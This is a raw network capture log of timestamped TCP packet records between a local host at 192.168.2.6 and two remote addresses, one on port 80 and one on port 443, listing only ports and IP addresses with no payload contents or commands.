Oct 30, 2024 15:59:37.086530924 CET	443	49758	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.091481924 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.091538906 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.091635942 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.091809034 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.091835976 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.110800982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.110819101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.110825062 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.110898018 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.143110991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.143136024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.143148899 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.143177032 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.143213987 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.143232107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.143282890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.143304110 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.143390894 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.143395901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.143412113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.143424034 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.143454075 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.143465042 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.143498898 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.143529892 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.143760920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.143841028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.143851995 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.143852949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.143888950 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.143920898 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.143933058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.143982887 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.144244909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.144309998 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.144320011 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.144365072 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.144365072 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.144402981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.144416094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.144454956 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.144488096 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.144779921 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.144834042 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.144836903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.144849062 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.144896030 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.165070057 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.165090084 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.165138006 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.165153980 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.165252924 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.165453911 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.166227102 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.166241884 CET	443	49755	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.166332960 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.166361094 CET	49755	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.190763950 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.190808058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.190818071 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.190820932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.190855026 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.190869093 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.190882921 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.190921068 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.190953016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.190995932 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.191150904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.191211939 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.191224098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.191265106 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.191296101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.191298008 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.191309929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.191333055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.191334963 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.191354036 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.191373110 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.191484928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.191499949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.191530943 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.191555977 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.226492882 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.226515055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.226567984 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.226567984 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.226574898 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.226588011 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.226613045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.226613998 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.226633072 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.226680040 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.271775961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.271806002 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.271821022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.271846056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.271874905 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.271948099 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.271960020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.271970987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.271986008 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.271989107 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.272022009 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.272142887 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.272186995 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.272188902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.272241116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.272254944 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.272275925 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.272303104 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.272363901 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.272375107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.272386074 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.272397041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.272411108 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.272443056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.272548914 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.272587061 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.273053885 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.273085117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.273096085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.273132086 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.273158073 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.273190975 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.273240089 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.275262117 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.276662111 CET	49761	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.276683092 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.277183056 CET	49761	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.277189016 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.306401968 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.306416035 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.306428909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.306474924 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.306523085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.306530952 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.306535959 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.306582928 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.306590080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.306634903 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.306644917 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.306655884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.306700945 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.306735992 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.306761026 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.306787968 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.306819916 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.307120085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.307141066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.307177067 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.307207108 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.381021976 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.386324883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.431180954 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.431252003 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.431590080 CET	49761	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.431590080 CET	49761	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.431649923 CET	49761	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.431658030 CET	443	49761	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.435357094 CET	49766	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.435381889 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.435499907 CET	49766	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.435668945 CET	49766	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.435683012 CET	443	49766	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.529699087 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.530252934 CET	49763	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.530282021 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.530827045 CET	49763	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.530833960 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.656634092 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.656683922 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.656696081 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.656752110 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.656752110 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.656781912 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.656955004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.657005072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.657021999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.657032967 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.657037020 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.657067060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.657094002 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.657094002 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.657140017 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.657355070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.657365084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.657464981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.657478094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.657490015 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.657495022 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.657510996 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.657520056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.657547951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.657582045 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.657596111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.657617092 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.657819033 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.658061981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.658139944 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.658152103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.658364058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.658376932 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.658391953 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.658509970 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.663429976 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.663522959 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.663727999 CET	49763	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.664072037 CET	49763	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.664081097 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.664113998 CET	49763	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.664119005 CET	443	49763	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.668771029 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.668807030 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.672981977 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.676409006 CET	49767	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.676426888 CET	443	49767	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.769480944 CET	443	49764	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.770561934 CET	49764	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.770561934 CET	49764	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.770597935 CET	443	49764	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.770613909 CET	443	49764	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.811024904 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.811048985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.811063051 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.811074018 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.811094046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.811100006 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.811104059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.811119080 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.811220884 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.811254025 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.811265945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.811335087 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.811335087 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.811728001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.811747074 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.811759949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.811830997 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.811830997 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.811988115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.812001944 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.812012911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.812025070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.812082052 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.812082052 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.812299967 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.812366962 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.812377930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.812393904 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.812448978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.812489033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.812500000 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.812510014 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.812520981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.812565088 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.812624931 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.812727928 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.813131094 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.813143015 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.813153028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.813210964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.813210964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.813254118 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.813265085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.813288927 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.813406944 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.813735962 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.813755989 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.813766956 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.813780069 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.813924074 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.820236921 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.820847988 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.820902109 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.821393967 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.821408033 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.898319960 CET	443	49764	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.898483992 CET	443	49764	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.898722887 CET	49764	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.903816938 CET	49764	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.903829098 CET	443	49764	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.904073000 CET	49764	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.904078960 CET	443	49764	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.908237934 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.908283949 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.908605099 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.909053087 CET	49770	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.909073114 CET	443	49770	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.926525116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.926543951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.926557064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.926628113 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.926628113 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.926654100 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.926668882 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.926687002 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.926700115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.926726103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.926745892 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.926745892 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.926776886 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.949964046 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.949999094 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.950061083 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.950109959 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.950153112 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.950303078 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.950315952 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.950344086 CET	49765	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.950351000 CET	443	49765	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.953279018 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.953310013 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.953602076 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.953685999 CET	49772	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:37.953697920 CET	443	49772	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:37.965212107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.965255022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.965269089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.965293884 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.965300083 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.965317965 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.965317965 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.965353012 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.965382099 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.965384960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.965411901 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.965630054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.965652943 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.965677023 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.965688944 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.965759993 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.965786934 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.965853930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.965866089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.965878963 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.965892076 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:37.965902090 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.965914011 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:37.965975046 CET	49716	80	192.168.2.6	185.215.113.206
